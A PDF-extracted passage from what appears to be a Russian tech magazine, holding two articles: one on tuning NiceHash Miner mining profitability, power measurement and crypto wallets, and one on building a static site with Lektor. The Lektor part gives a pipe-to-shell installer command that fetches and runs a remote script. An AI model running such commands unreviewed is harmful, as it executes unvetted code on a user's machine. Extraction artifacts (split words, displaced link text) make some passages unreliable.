ты и ска чает отдель ные май неры с под дер жкой OpenCL и CUDA для раз‐ 
ных  алго рит мов.  Сре ди  этих  май неров  есть  как  опен сор сные  и  в  целом
безопас ные, так и проп риетар ные, которые могут содер жать бэк дор. NHM
спро сит,  какие  ты  хочешь ска чать. Я в ито ге отка зал ся от  заг рузки проп‐ 
риетар ных, что советую и тебе. Про верить и изме нить свой выбор мож но
в раз деле нас тро ек «Общие», пункт «Вклю чить сто рон ние май неры».

3. В  гра фе  «Бит койн‐адрес»  (на  глав ном  окне)  ука зыва ешь  адрес  сво его
кошель ка.  Если  его  еще  нет,  то  мож но  быс тро  соз дать  кошелек 
или уста новить   на свой компь ютер или смар тфон.

он лайн
оф лай новый

4. За пус ти встро енный бен чмарк в NHM. Стан дар тный тест зай мет нес коль ко
минут  и  рас счи тает  при быль ность май неров  в BTC в  день и USD в  день.
Текущие котиров ки заг ружа ются авто мати чес ки, но пом ни, что они имен но
текущие. Ситу ация меня ется бук валь но каж дую минуту, и по пер вым циф‐ 
рам не сто ит делать далеко иду щих выводов.

5. Са мый при быль ный на дан ный момент алго ритм будет так же выб ран NHM
авто мати чес ки  и  запус тится  сра зу  (если  ты  не  снял  фла жок  «Запус тить
май нинг пос ле бен чмар ка»), а осталь ные будут исполь зовать ся как резер‐ 
вные.  NHM  перек лючит ся  на  них,  если  при быль ность  май нин га
на  основном  алго рит ме  упа дет  ниже  некото рого  зна чения.  Задать  его
мож но в раз деле нас тро ек «Общие», пункт «Мин. при быль ность $/день».

Оце нивать  при быль ность  луч ше  за  какой‐то  дли тель ный  пери од.  Хотя  бы
за  неделю.  Поможет  в  этом  ста тис тика,  дос тупная  на  пуле  NHM  через
веб‐интерфейс. В при мере ниже вид но, как были намай нены пер вые 100 мик‐ 
робит кой нов.  В  основном  их  зап латили  за  работу  «экска вато ра».  Нем ного
начис лили за Decred и эфир, а май нинг осталь ных аль ткой нов боль шую часть
вре мени был неп рибыль ным.

Пер вая ста тис тика NHM

Од нако в даль нейшем баланс сил меня ется. Основные вып латы уже про исхо‐ 
дят  за  эфир  и  ZCash  поч ти  в  рав ных  долях,  а  в  пери оды  их  общей  низ кой
доход ности ситу ацию спа сает Lyra 2REv 2.

Ста тис тика за неделю

Продолжение статьи →
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НАСТРАИВАЕМ ПРИБЫЛЬНОСТЬ МАЙНИНГА
На рас четную при быль ность май нин га вли яют текущие котиров ки, слож ность
вычис ления и дру гие фак торы. Их мно го, они пос тоян но меня ются, и сле дить
за ними вруч ную край не неэф фектив но. Поэто му есть смысл в NHM и подоб‐ 
ных прог раммах авто мати зации. Одна ко в дефол тных нас трой ках они не учи‐ 
тыва ют  важ ные  поп равки  и  час то  ока зыва ют  мед вежью  услу гу,  перек лючая
на менее при быль ные алго рит мы.

Об щая суть нас тро ек при быль нос ти оче вид на. Она сос тоит в том, что если
за  пот реблен ную  тво ей  сис темой  элек тро энер гию  ты  пла тишь  боль ше,  чем
тебе  в  дан ный момент  пла тят  за  добычу  выб ранной  крип товалю ты,  то  прог‐ 
рамма про бует май нить дру гие аль ткой ны. Если же они все ока зыва ются убы‐ 
точ ны, то май нинг теря ет вся кий смысл и авто мати чес ки при оста нав лива ется
до луч ших вре мен.

Май нинг неп рибылен

Луч шие вре мена могут нас тупить через чет верть часа или через пару дней —
заранее  ник то  не  ска жет.  Поэто му  NHM  пери оди чес ки  про веря ет  усло вие
и запус кает май нинг самос тоятель но в «выгод ные» момен ты. Ско рость май‐ 
нин га  и  его  ори енти ровоч ную  при быль ность  на  дан ный  момент  мож но  уви‐ 
деть  в  глав ном  окне  NHM.  Эти  парамет ры  отоб ража ются  прак тичес ки
в реаль ном вре мени, при чем как в дол ларах, так и в бит кой нах.

Тех нология авто мати чес кого перек лючения май нин га на самый при быль‐ 
ный алго ритм называ ется BPASMAM (Best Profit Auto‐Switching Multi‐Algorithm
Mining).  Каж дые десять минут она опре деля ет  самую вос тре бован ную  крип‐ 
товалю ту на текущее вре мя по дан ным орде ров на NiceHash.com и запус кает
у тебя май нер с соот ветс тву ющим алго рит мом.

При мер: ты запус тил в NHM май нинг ZCash и видишь сред ний рас чет при‐ 
быль нос ти  в  рай оне  2,40  дол лара  в  день  с  одной  виде окар ты.  В  течение
десяти  минут  NHM  опре делит,  что  сей час  выгод нее  май нить  эфир,  и  авто‐ 
мати чес ки  перек лючит ся  на  него,  при нося  тебе  уже  2,62  дол лара  в  день.
Через  нес коль ко  часов  на  пуле  NHM  появят ся  новые  орде ра  на  май нинг
ZCash,  и  его  при быль ность  вре мен но  воз растет,  ска жем  до  2,76  дол лара
в  день.  NHM  сно ва  перек лючит ся  на  него.  Если  кто‐то  раз местит  круп ные
орде ра  на  май нинг  Verticoin,  то  в  фавори ты  вре мен но  выр вется  алго ритм
Lyra 2REv 2, и соот ветс тву ющий май нер так же запус тится у тебя авто мати чес‐ 
ки.  Пос тоян но  сле дить  за  кросс‐кур сами  крип товалют  и  перек лючать  май‐ 
неры  вруч ную  прос то  физичес ки  невоз можно.  Поэто му  при  май нин ге
какой‐то  одной  крип товалю ты  ты  в  ито ге  получишь мень ше,  чем  сра зу  нес‐ 
коль ких.

Ав томати чес кий запуск резер вно го май нера при утра те при быль нос ти
основно го

Ис клю чение: у тебя есть инсай дер ская информа ция о том, что в какой‐то аль‐ 
ткойн  готовят ся  боль шие  инвести ции.  Ты  май нишь  его  впрок,  нев зирая
на текущий низ кий показа тель при быль нос ти. Прос то в рас чете на то, что курс
однажды рез ко взле тит и  ты выгод но про дашь намай нен ное загодя. Одна ко
это  уже  бир жевая  игра  в  уга дай ку. Мож но  сор вать  куш  или  все  потерять —
как  фиш ка  ляжет.  NHM  помога ет  получить  ста биль ный  доход  мак сималь но
эффектив ным  обра зом.  Какие  бы  аль ткой ны  ты  ни май нил,  воз награж дение
получишь в «золотом стан дарте» — бит кой нах. Имен но к кур су бит кой на пока
при вяза ны все осталь ные.

В качес тве еще одно го резер вно го алго рит ма на вре мя тес тов я исполь‐ 
зовал Lyra 2REv 2. Он исклю читель но шус тро реали зован в CCminer и при этом
мень ше гру зит виде окар ту, чем ethminer с его DAG‐фай лами или «экска ватор»
для  копания  ZCash.  Вто рая  лира  порой  ока зыва лась  самым  при быль ным
вари антом, осо бен но в пери од бир жевых штор мов.

Ли ра на ска мей ке запас ных

Для  опре деле ния  наибо лее  при быль ного  алго рит ма  учи тыва ется  целый  ряд
парамет ров:

эк вивален тная  ско рость  алго рит мов,  выражен ная  в  гигахе шах  в  секун ду
(GH/s);

•

сред нев зве шен ная цена текущих орде ров для каж дого алго рит ма на пуле
NiceHash (вычис ление экви вален тной доход ности аль ткой нов);

•

сум марный  объ ем  откры тых  орде ров  по  каж дому  алго рит му  (что бы
не перек лючать ся на те алго рит мы, орде ра по которым быс тро исполнят‐ 
ся).

•

Так же  опци ональ но  зада ются  поль зователь ские  поп равки  (fX‐парамет ры),
такие как ско рость фер мы и рас ходы на ее элек трос набже ние за сут ки.

Ито говая  таб лица  при быль нос ти  рас счи тыва ется  пос ле  бен чмар ка.  Я
рекомен дую выбирать точ ный метод оцен ки вмес то стан дар тно го, пос коль ку
из‐за  осо бен ностей  отдель ных  алго рит мов  их  эффектив ность  в  экс‐ 
пресс‐тес тах  оце нива ется  некор рек тно.  Нап ример,  у  Dagger‐Hashimoto
запуск май нера соп ровож дает ся дли тель ными опе раци ями записи DAG‐фай‐ 
лов в память виде окарт и пос ледова тель ным стар том тре дов. Поэто му в пер‐ 
вую  минуту  он  демонс три рует  замет но  мень шую  про изво дитель ность,  чем
в пос леду ющее вре мя.

Из меря ем про изво дитель ность май нин га на раз ных алго рит мах

При быль ность в таб лице бен чмар ка ука зыва ется в нор мирован ных еди ницах:
BTC/GH/день.  Из‐за  раз ной  слож ности  вычис ления  хешей  каж дым  алго рит‐ 
мом и май нером в NHM при меня ются коэф фици енты перес чета их ско рос ти
отно ситель но  Scrypt.  Это  имен но  ори енти ровоч ные  зна чения.  Нап ример,
для ScryptJaneNf 16 коэф фици ент по умол чанию задан 0,0007, а для Keccak —
500. Кон крет но на тво ей фер ме они могут ока зать ся дру гими. Так же по умол‐ 
чанию  для  сле дующих  алго рит мов  заданы  нулевые  коэф фици енты:  Lyra 2RE,
Lyra 2REv 2,  Quark,  Qubit,  WhirlpoolX.  Поэто му,  ког да  накопит ся  собс твен ная
ста тис тика  работы  фер мы,  сто ит  внес ти  поп равки.  О  том,  как  это  сде лать,
читай в   на офи циаль ном сай те.FAQ

Лай фхак: сре ди мно жес тва дос тупных крип товалют сто ит оста вить толь ко
две‐три  наибо лее  при быль ные,  что бы  перек лючать ся  меж ду  ними.
Как  минимум  надо  отклю чить  самые  убы точ ные  и  не  тра тить  на  них  вре мя.
К  при меру,  Decred  на  момент  написа ния  статьи  май нить  было  невыгод но.
При  уве личе нии  хеш рей та  в  четыре  раза  он  стал  при носить  толь ко  вдвое
боль ше, пос коль ку рез ко вырос ла слож ность вычис лений и обва лились кур‐ 
сы.

Уве личе ние инвести ций не всег да уве личи вает при быль

С помощью NHM мож но май нить и на про цес сорах,  но это име ет  эко номи‐ 
чес кий смысл толь ко в том слу чае, если у тебя их мно го, они ничем не заняты
и ты не пла тишь за пот рачен ную ими элек тро энер гию.

Май нинг на CPU

Учи тыва ем реаль ные зат раты
На чина ющие май неры час то допус кают одну и ту же ошиб ку: они доволь ству‐ 
ются  гру быми  при кид ками  зат рат  по  TDP  виде окарт,  пос коль ку  имен но  эту
величи ну  им  сооб щают  кон соль ные  май неры.  Меж ду  тем  она  не  отра жает
реаль ное положе ние вещей. Есть спо собы оце нить зат раты на май нинг более
дос товер но.

Из мерить пол ную пот ребля емую мощ ность всей фер мы поможет при бор
под  наз вани ем  ват тметр. Для  сво их  экспе римен тов  я  выб рал Robiton  PM‐2,
как самый точ ный сре ди всех пот ребитель ских моделей.

Пот ребле ние сис темно го бло ка в прос тое

Он  изме ряет  пот ребле ние  под клю чен ной  наг рузки  сум марной  мощ ностью
до 3,6 кВт, чего хва тит для боль шинс тва ферм началь ного и сред него уров ня.
На  том  же  экра не  при бор  показы вает  и  дру гие  парамет ры  питания:  нап‐ 
ряжение,  силу  тока,  коэф фици ент  мощ ности…  Он  даже  уме ет  запоми нать
общее количес тво пот реблен ной энер гии и авто мати чес ки вычис лять ее сто‐ 
имость, если ты задашь акту аль ный тариф.

Пот ребле ние сис темно го бло ка во вре мя май нин га на одной GTX 1070

До пол нитель но я вывел на экран показа ния от встро енно го ват тмет ра в ИБП
CyberPower  CP900EPFCLCD.  Он  изме ряет  текущую  мощ ность  вооб ще  всей
сис темы. В моем слу чае в нее вхо дит монитор, роутер, внеш ний жес ткий диск
и  допол нитель ная  сис тема  охлажде ния.  Пол ное  пот ребле ние  всей  сис темы
мож но уви деть на скрин шотах с запущен ными май нерами.

ЗАЧЕМ ОПЕНСОРСНЫЙ МАЙНИНГ РАЗРАБОТЧИКАМ?
Есть немало спо собов получить при быль, занима ясь крип товалю той. Одним
из самых чес тных я счи таю соз дание спе циали зиро ван ного сер виса, который
помога ет инвесто рам, трей дерам и май нерам раз ного типа най ти друг дру га.
Нап ример, есть жела ющие купить услу ги облачно го май нин га, что бы не тра‐ 
тить ся  на  железо  и  не  возить ся  с  его  нас трой кой  и  обслу жива нием.  Так же
есть жела ющие май нить в пуле на сво ем железе, то есть фак тичес ки уда лен‐ 
но сда вать свои аппа рат ные мощ ности в арен ду. Ресурс NiceHash, запущен‐ 
ный  в  2014  году,  объ еди няет  тех  и  дру гих,  а  сам  получа ет  при быль  за  счет
комис сий.

Еди нич ная  услу га  пос редни ка  сто ит  дешево,  но,  пом ножен ная  на  тысячи
кон трак тов, она при носит ощу тимую при быль. Комис сии на вывод сос тавля‐ 
ют 2–4%. Вып латы за любой май нинг про исхо дят в бит кой нах по рас писанию:

ежед невно  для  всех  внут ренних  сче тов,  на  которых  накопи лось
более 0,001 BTC;

•

ежед невно для всех внеш них кошель ков, если накопи лось более 0,1 BTC;•
еже недель но  для  всех  внеш них  кошель ков,  если  накопи лось  более  0,01
BTC.

•

Вып лата от NHM в про цес се

Не вып лачен ный баланс — это акти вы NiceHash,  которые  так же при носят им
при быль  за  счет  акку мули рова ния  крип товалю ты  и  воз можнос ти  инвести‐ 
ровать ее.

PIMP
Са мые  ленивые  могут  купить  образ  пор татив ной  опе раци онки  для  май нин‐ 
га — PiMP (Portable Instant Mining Platform). Это спе циали зиро ван ный и край‐ 
не  прос той  в  осво ении  клон  Debian  с  гра фичес ким  интерфей сом,  его
рекомен дует ся  уста нав ливать  на  перенос ной  SSD  раз мером  от  16  Гбайт.
Флеш ки  не  подой дут  из‐за  высокой  интенсив ности  опе раций  переза писи,
а USB‐HDD под держи вают ся, но не рекомен дуют ся из‐за низ кой ско рос ти.

 под держи вает алго рит мы Groestl, HEFTY 1, JHA, Keccak, NIST 5, Quark,
Qubit,  Scrypt,  Scrypt‐N,  Scrypt‐Jane,  Skein,  X11,  X13  и  X15.  В  него  пос тоян но
добав ляет ся  под дер жка  дру гих  алго рит мов,  но  толь ко  тех,  которые  мож но
эффектив но  май нить  на  виде окар тах.  Дол гое  вре мя  PiMP  под держи вал
работу  толь ко  с  ГП  про изводс тва  AMD  (Radeon  HD  7700  и  выше).  В  пос‐ 
ледней  вер сии  2.1  добави лась  под дер жка  ГП  от  Nvidia  (начиная  с  400‐й
серии).

PiMP

PiMP — ОС для май нин га

В  PiMP  уже  все  пред нас тро ено  по  мак симуму.  На  рабочем  сто ле  соз даны
ярлы ки хел па и тех поддер жки по IRC, а в авто запус ке про писа ны регуляр ные
обновле ния. Сто ит PiMP 30 дол ларов. Пос ле опла ты  вмес те  с  посек торным
обра зом  ты получишь лицен зион ные  клю чи и инс трук ции по раз верты ванию
обра за  бес плат ными  прог рамма ми  в  пару  кли ков.  Для  начала  май нин га  ты
прос то под клю чаешь SSD с PiMP к любой фер ме и запус каешь ся с него.

До пол нитель но с PiMP и NHM мож но зарабо тать на рефераль ных ссыл ках,
но  у  меня  аллергия  на  пирами даль ный  мар кетинг,  поэто му  в  статье  сто ят
обыч ные ссыл ки без ref ID.

Выбира ем кошелек
Для хра нения крип товалю ты тебе понадо бит ся элек трон ный кошелек. Мож но
уста новить  кучу  спе циали зиро ван ных  для  каж дого  аль ткой на  или  завес ти
один адрес, кон верти руя все в Bitcoin. Кошель ки быва ют трех типов:

пол ностью офлай новые (нап ример,  );• Armory
об легчен ные вер сии для мобиль ных устрой ств (к при меру,  );• Copay
пол ностью онлай новые (такие как  ).• GreenAddress

Ко шель ки  пер вого  типа  дают  мак сималь ный  кон троль,  но  тре буют  прор ву
ресур сов.  Толь ко  блок чейн  бит кой на  занима ет  боль ше  120  Гбайт.  Пер вый
раз он ска чива ется поч ти сут ки и пря мо‐таки насилу ет накопи тель в нес коль‐ 
ко потоков.

Блок чейн‐оргия

Ес ли  ты  потеря ешь  пароль  от  офлай нового  кошель ка,  то  лишишь ся  всех
монеток. Вос ста новить его ник то не поможет. Делай бэкапы регуляр но!

Ко шель ки  вто рого  типа  менее  тре бова тель ны  к  ресур сам,  пос коль ку
основная  часть  блок чей на  хра нит ся  на  уда лен ных  сер верах.  Одна ко  при  их
исполь зовании  уже  при ходит ся  доверять  сто рон ним  сер висам.  Некото рые
из них пред лага ют механиз мы вос ста нов ления пароля, но это может как ока‐ 
зать ся  при ятным  бонусом,  так  и  обер нуть ся  про тив  тебя.  Такие  кошель ки
рекомен дуют для мобиль ных устрой ств, пос коль ку они эко номят мес то и тра‐ 
фик.

Ко шель ки  треть его  типа  мак сималь но  уни вер саль ные.  По  сути,  все  опе‐ 
рации выпол няют ся уда лен но через веб‐интерфейс из бра узе ра или мобиль‐ 
ного  при ложе ния.  Это  мак сималь но  облегчен ный  и  минималь но  надеж ный
вари ант. Ты пол ностью зависишь от работы сто рон них сер веров и не кон тро‐ 
лиру ешь свои монет ки.

ВЫВОДЫ
Claymore’s Dual Miner, NiceHash Miner и PiMP ста ли одной из при чин поваль‐ 
ного увле чения май нин гом в нас тоящее вре мя. Они сни зили порог вхож дения
нас толь ко,  что  почувс тво вать  себя  крип товалют ным маг натом  теперь может
человек с любым уров нем обра зова ния и вла дения компь юте ром. Как резуль‐ 
тат, очень далекие от IT‐сфе ры люди ста ли всерь ез занимать ся аль ткой нами
и  под няли  огромную  вол ну  инте реса  к  ним  (а  точ нее,  серию  волн,  став шую
осо бо  замет ной  в  апре ле  —  июле  2017  года).  Нынеш няя  вол на  пош ла
на спад, но за ней уже вид неет ся сле дующая.

Мно гие  из  вло жив шихся  в  май нинг  за  пос ледние  пол года  не  ста ли  раз‐ 
бирать ся в деталях. Они успе ли разоча ровать ся и теперь про дают свои «фер‐ 
мы»,  запол няя  вто рич ный  рынок  хорошо  про жарен ными  видюха ми.  Часть
из них пыта ется получать при быль иным спо собом. Нап ример, ока зывая плат‐ 
ные кон суль тации по май нин гу, нас трой ке ферм или при киды ваясь облачны‐ 
ми  про вай дерами  мес тно го  мас шта ба.  Поэто му  не  спе ши  доверять  «спе‐ 
циалис там» и менять железо, а хорошень ко все прос читай сам.

WWW

•Прос тое откры тие онлайн‐кошель ка Bitcoin
•Мгно вен ный обмен аль ткой нов
•Спи сок аль ткой нов и их котиров ки

https://www.nicehash.com/index.jsp?p=multialgo
https://getpimp.org/shop/pimp/
https://btcarmory.com/
https://copay.io/
https://github.com/greenaddress/WalletCrx
http://counterwallet.io/
https://shapeshift.io/
https://bitmakler.com/kriptovaluta
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Ес ли ты соб рался сде лать неболь шой сайт или завес ти блог,
не  спе ши  стро ить  в  голове  схе му  из  десят ка  раз ных  тех‐ 
нологий.  Воз можно,  всё,  что  тебе  нуж но,  —  это  мес течко
для  ста тичес ких  стра ниц  с  дос тупом  по  FTP.  Спе циаль ная
CMS  будет  делать  всю  работу  на  тво ем  компь юте ре,  а  ты
смо жешь соз давать и редак тировать пос ты как обыч ные тек‐ 
сто вые фай лы, лежащие дис ке.

Как  челове ку,  который  зас тал  при митив ный  веб‐дизайн  девянос тых,  мне
стран но  видеть,  что  теперь  для  любого  сай та  ста вят  пол ноцен ный  дви жок.
Wordpress,  Drupal,  Joomla  и  про чие  популяр ные CMS  рас счи таны  на  тысячи
стра ниц и под дер жку ресур са силами целой коман ды. Но зачас тую их исполь‐ 
зуют,  что бы  сде лать  пер сональ ный  блог  или  даже  сайт‐визит ку.  Сто ит  ли
городить  ого род,  если  всё,  что  нам  нуж но  —  это  пуб ликовать  ста тичес кий
кон тент?

Ес ли  изба вить ся  от  движ ка  и  класть  на  сер вер  толь ко HTML,  то  это  зна‐ 
читель но сни зит пот ребле ние ресур сов, сде лает сайт быс трее, ну и, конеч но,
упростит  (вер нее,  упраз днит)  нас трой ку  и  обновле ние  сер верно го  соф та.
Мож но будет спо кой но перехо дить на хос тинг поп роще и эко номить день ги,
а  в  слу чае  чего  в  момент  миг рировать  на  дру гую  пло щад ку.  Ну  и,  конеч но,
такой сайт невоз можно будет взло мать, ведь взла мывать в нем нечего.

Ес ли  ты  вдруг  подумал,  что  я  пред лагаю  тебе  упо добить ся  пещер ным
людям и вруч ную делать каж дый .html, то ты оши баешь ся. Сов ремен ный спо‐ 
соб  иной:  запус тить  CMS  на  локаль ной  машине,  а  на  сер вер  вык ладывать
толь ко  ста тичес кие  фай лы.  Это  оставля ет  воз можность  поль зовать ся  шаб‐ 
лониза тором: если тебе понадо бит ся поменять что‐то в теме, то пра вить каж‐ 
дую стра ницу не при дет ся.

Ге нера торы  ста тичес ких  сай тов  могут  взять  на  себя  и  такие  вещи,
как  пагина цию,  авто мати чес кое  соз дание  глав ной  стра ницы  и  стра ниц  руб‐ 
рик, сор тиров ку, а так же мно гие дру гие шту ки, которые обыч но реали зуют ся
при помощи динами чес ких движ ков.

В 2013 году в «Хакере» уже пуб ликова лась под борка ста тичес ких бло гоге‐ 
нера торов, статья называ лась « ». Одна ко с тех пор прош ло мно‐ 
го  вре мени  и  не  все  перечис ленные  про екты  до  сих  пор  под держи вают ся.
К тому же в этом клас се прог рамм появи лись новые лидеры. Сре ди движ ков
на Node.js популя рен  , а пок лонни кам Ruby рекомен дую гля нуть на  .

Прос то пиши

Hexo Jekyll
Здесь  же  мы  рас смот рим  работу  с  движ ком  ,  который  написан

на  Python  и  сочета ет  в  себе  прос тоту,  удобс тво  и  рас ширя емость,  а  так же
обла дает вебовой админкой. Запус тив локаль ный сер вер, ты смо жешь прос‐ 
матри вать  и  редак тировать  сайт  так,  буд то  ты  работа ешь  с  пол ноцен ной
CMS.  Закон чив  редак тировать,  ты  одной  коман дой  смо жешь  син хро низи‐ 
ровать изме нения с копи ей на сер вере.

Lektor

Lektor — это новый про ект Арми на Ронахе ра, авто ра популяр ного минима‐ 
лис тично го  веб‐фрей мвор ка    и  язы ка  шаб лонов  Jinja 2.  Собс твен но,
в  Lektor,  как  и  во  Flask,  исполь зуют ся шаб лоны  Jinja,  и  имен но  в  них —  вся
сила «Лек тора».

Flask

СТАВИМ LEKTOR
Ко ман да  уста нов ки Lektor написа на пря мо на  . Если
у  тебя macOS или Linux,  то  ты можешь прос то ско пиро вать ее в  коман дную
стро ку и запус тить:

глав ной стра нице сай та

curl ‐sf https://www.getlektor.com/install.sh | sh

Ана логич ная коман да есть и для Windows, она  .за мет но длин нее

Де виз Lektor: «Реали зовать идеи прос то, как пожарить яйцо», отсю да
и яич ница на глав ной стра нице

Ещё тебе нуж но убе дить ся, что в сис теме есть Python 2.x и биб лиоте ка Image‐
magick. В Ubuntu все зависи мос ти ста вят ся одной коман дой:

sudo apt‐get install python‐dev libssl‐dev libffi‐dev imagemagick

В Windows  и macOS  для  уста нов ки  Imagemagick  тебе  сна чала  понадо бит ся
пос тавить пакет ный менед жер — Chocolatey или Homebrew соот ветс твен но.
Кста ти, для macOS у Lektor есть  , которое само уста‐ 
новит тебе ути литы коман дной стро ки — нуж но лишь выб рать пункт меню In‐
stall Shell Command.

дес ктоп ное при ложе ние

Ес ли  же  ты  собира ешь ся  модифи циро вать  сам  Lektor,  то  раз работ чики
рекомен дуют  ста вить  вер сию  с  GitHub  и  соз дать  вир туаль ное  окру жение  (в
дру гих слу чаях оно не нуж но). Руководс тво ты най дешь на  .стра нице про екта

РАЗБИРАЕМ ПРОСТОЙ ПРОЕКТ
Что бы не соз давать катало ги и основные фай лы вруч ную, вос поль зуем ся фун‐ 
кци ей  соз дания  типово го  про екта  с  набором  стан дар тных  эле мен тов.
Для это го откры ваем тер минал, перехо дим в пап ку, где будет лежать про ект,
и пишем

lektor quickstart

Те бе зададут нес коль ко воп росов: как будет называть ся про ект, как написать
твое имя, какой каталог исполь зовать и соз дать ли шаб лон для бло га.

В  пос леднем  слу чае  к  тес товому  про екту  будет  добав лена  стра ница  с  пос‐ 
тами и шаб лон для них. Рекомен дую сог ласить ся — лиш ние при меры не пов‐ 
редят.

WWW

Сайт   — отличное пособие по Lektor
сра зу  в  двух  смыс лах:  во‐пер вых,  там  есть
докумен тация,  во‐вто рых,  этот  сайт  сам  сде лан
на Lektor и в нем исполь зованы некото рые неоче‐ 
вид ные  трю ки.  Так  что    всег да
мож но что‐нибудь под смот реть.

getlektor.com

в  его  исходни ках

Что бы  гля нуть,  на  то,  что  у  тебя  выш ло,  пиши  .  Запус тится
локаль ный сер вер, при помощи которо го мож но тес тировать сай ты. Обыч но
он дос тупен по адре су  .

lektor  server

http://127.0.0.1:5000/
Вот, как будет выг лядеть тес товая стра ница.

Об рати вни мание на каран даш в пра вом вер хнем углу — это ссыл ка на редак‐ 
тирова ние стра ницы в админке.

Те перь пос мотрим, что тво рит ся в пап ке с про ектом.

На пер вый взгляд для такого скром ного сай та фай лов мно гова то, но разоб‐ 
рать ся со всем этим нес ложно. Прой дем ся по поряд ку.

  —  пап ка  для  ста тичес кого  кон тента,  обще го  для  все го  про екта
(сти ли, знач ки и т.п.);

• assets

  —  основная  дирек тория  для  сай та.  Каж дый  под каталог  в  ней
соот ветс тву ет  одной  стра нице.  Обра ти  вни мание:  кар тинки  к  отдель ным
стра ницам раз меща ются в них же, а не в  .

• content

assets

 — пап ка с опи сани ями моделей дан ных в виде фай лов .ini.• models

 — пап ка с шаб лонами HTML в фор мате Jinja 2. Наз вания фай‐ 
лов соот ветс тву ют наз вани ям фай лов с моделя ми.

• templates

Фор мат  ini  тебе  навер няка  зна ком  по  Windows  —  это  спи сок  пар 
,  которые обыч но  раз биты  на  сек ции. Файл  с  рас ширени ем 
, который лежит в кор невом катало ге про екта — это, счи тай, тот

же  ini. Пока что в нем записа но  толь ко наз вание про екта, но поз же мы впи‐ 
шем сюда адрес сер вера, куда Lektor будет заг ружать сайт.

ключ  =
значение .lek‐
torproject

Фай лы   —  это  тоже  прос той  текст,  в  них  хра нить ся  все  содер жимое
сай та  (так  что  сра зу  зак репляй  это  рас ширение  за  удоб ным  редак тором).
На  каж дую  стра ницу — по  сво ей  пап ке  со  сво им  . Мож но  ска‐ 
зать, что их фор мат ана логи чен Markdown, но на самом деле всё чуть слож‐ 
нее:  в  .lr  хра нит ся  содер жимое  перемен ных,  опи сан ных  в  модели,  и  один
из фор матов этих перемен ных — Markdown.

.lr

contents.lr

Зву чит замыс ловато? Прос то открой   из кор ня пап ки 
и  заг ляни  внутрь.  Ты  уви дишь,  что  там  задано  две  перемен ные  — 
и    (перемен ные отде ляют ся друг от дру га  тре мя чер точка ми на отдель‐ 
ной  стро ке).  Пер вая  содер жит  заголо вок  тек ста  и  име ет  фор мат  «стро ка»,
вто рая — текст стра ницы, записан ный в виде Markdown. Если стра ницы будут
иметь ещё какие‐то харак терные эле мен ты, то ты смо жешь соз дать перемен‐ 
ные для них и лег ко менять из админки.

contents.lr content
title

body

Что бы узнать, как выг лядят модели, открой файл   из пап ки 
.  Внут ри  ты  уви дишь  три  сек ции:  ,    и  .

Пер вая — это наз вание нашей модели и заголо вок стра ницы в админке. Он
будет соот ветс тво вать наз ванию стра ницы (заметь, что тут исполь зует ся фор‐ 
мат шаб лона).

page.ini mod‐
els model fields.title fields.body

Каж дая сек ция   опи сыва ет одно поле на стра нице редак тирова‐ 
ния  пос та.  Сей час  ты  видишь  опи сание  двух  полей:    в  фор мате  string
и   в фор мате Markdown. Помимо это го для каж дого из них задано тек сто‐ 
вое  наз вание  ( ),  которое  будет  выводить ся  во  вре мя  редак тирова ния
стра ницы.

fields.*
title

body
label

К при меру, если каж дый из тво их пос тов будет соп ровож дать ся кар тинкой,
то мож но добавить вот такое поле:

[fields.picture]
label = Main Picture
name = string

Впро чем,  кон крет но  в  этом слу чае  про ще под хва тывать  заг лавные  кар тинки
авто мати чес ки —  для  это го  нуж но  было  бы  при думать  им  оди нако вое  наз‐ 
вание и задать его в шаб лоне. Кста ти,  заг лянем напос ледок в пап ку с шаб‐ 
лонами.  В  ней  ты  най дешь  три  фай ла:  ,    и 

  в  под катало ге  .  Если  ты  уже  работал  с  шаб лониза тором
Django  или  дру гими  похожи ми  шаб лонами,  то  язык  Jinja 2,  который  здесь
исполь зует ся, будет понятен тебе с пер вого взгля да.

layout.html page.html pagina‐
tion.html macros

Корот ко о шаб лонах
Ес ли шаб лоны для тебя тем ный лес, то попыта юсь в двух сло вах объ яснить их
устрой ство. В нашем при мере файл   (шаб лон стра ницы) рас ширя‐ 
ет    (общий  шаб лон  верс тки  —  шап ка,  навига ция  и  футер).
На прак тике это озна чает, что содер жимое   встав ляет ся в тех мес тах, где
написа но   и  . Собс твен но, 
содер жит  опре деле ние  этих бло ков  и  опи сыва ет,  как  под став лять  перемен‐ 
ные   и  , которые мы задали в модели.

page.html
layout.html

page
{% block title %} {% block body %} page.html

title body
По мимо  того,  что  один  шаб лон  мож но  вклю чать  в  дру гой,  важ но  знать

ещё о двух механиз мах: цик лах ( ) и усло виях ( ). Цик лы
нуж ны на слу чай, если, к при меру, нуж но обер нуть эле мен ты мас сива в оди‐ 
нако вые кусоч ки HTML. Усло вия — ког да какой‐то эле мент может при сутс тво‐ 
вать или не при сутс тво вать на стра нице в зависи мос ти от чего‐либо.

for..endfor if..endif

Нап ример, в фай ле   с помощью двух этих конс трук ций реали‐ 
зован вывод навига ции.

layout.html

{% for href, title in [
      ['/blog', 'Blog'],
      ['/projects', 'Projects'],
      ['/about', 'About']
  ] %}
 <li{% if this.is_child_of(href) %} class="active"{% endif %}>
 <a href="{{ href|url }}">{{ title }}</a></li>
{% endfor %}

Шаб лониза тор  про ходит ся  по  мас сиву  из  наз ваний  стра ниц  и  их  адре сов,
и для каж дого под став ляет в ито говый HTML эле мент  . Если ока зыва ется,
что  текущая  стра ница  сов пада ет  с  урлом  из  спис ка  (то  есть фун кция 

 воз вра щает  ), то   получит свой ство 
.

<li>
this.

is_child_of(href) True <li> class="ac‐
tive"

Все ещё оста лась куча непонят ного? Увы, мене не оста ется ничего ино го,
кро ме  как  отпра вить  тебя  к    —  ина че  приш‐ 
лось бы перевес ти ее пол ностью. Она содер жит мно го вол шебных сек ретов,
и если ты собира ешь ся делать что‐то слож носочи нен ное, то тебе сто ит с ней
вни матель но  озна комить ся.  Если  же  нет,  то  разоб рать ся  методом  науч ного
тыка тоже впол не реаль но.

до кумен тации  шаб лонов  Jinja

Продолжение статьи →
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https://github.com/lektor/lektor/
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http://jinja.pocoo.org/docs/2.9/templates/


ДЕЛАЕМ СТАТИЧЕСКИЙ САЙТ
ПРИ ПОМОЩИ LEKTOR

ДЕШЕВО
И СЕРДИТО

PCZONE  НАЧАЛО СТАТЬИ←

ДОБАВЛЯЕМ СВОИ ПОЛЯ В МОДЕЛЬ
Пред ста вим, что ты дела ешь сайт, на котором собира ешь ся пуб ликовать рас‐ 
ска зы собс твен ного сочине ния. Каж дый рас сказ будет отдель ной стра ницей,
